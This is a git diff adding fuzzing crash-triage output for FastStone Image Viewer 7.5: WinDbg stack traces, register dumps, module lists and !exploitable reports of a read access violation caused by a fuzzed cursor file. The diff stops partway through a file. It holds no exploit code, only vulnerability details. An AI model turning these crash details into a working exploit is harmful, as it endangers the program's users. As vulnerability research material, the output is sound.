image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00254000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00254000 32ab7ab7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00254000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d1f1f32 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4f4ca28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c9e4eb8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x2EC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x2EC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bc0000 00000000`74be2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(2ec.a68): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f47b10 edx=00003879 esi=ffdd0010 edi=09376fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.274267000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.11559e-010 9.50564e-035 2.005e-035 2.38009e-016 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003e6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003e6000 8f372221 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003e6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c9e4eb8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55013/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x2EC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x2EC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bc0000 00000000`74be2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(2ec.a68): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f47b10 edx=00003879 esi=ffdd0010 edi=09376fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: 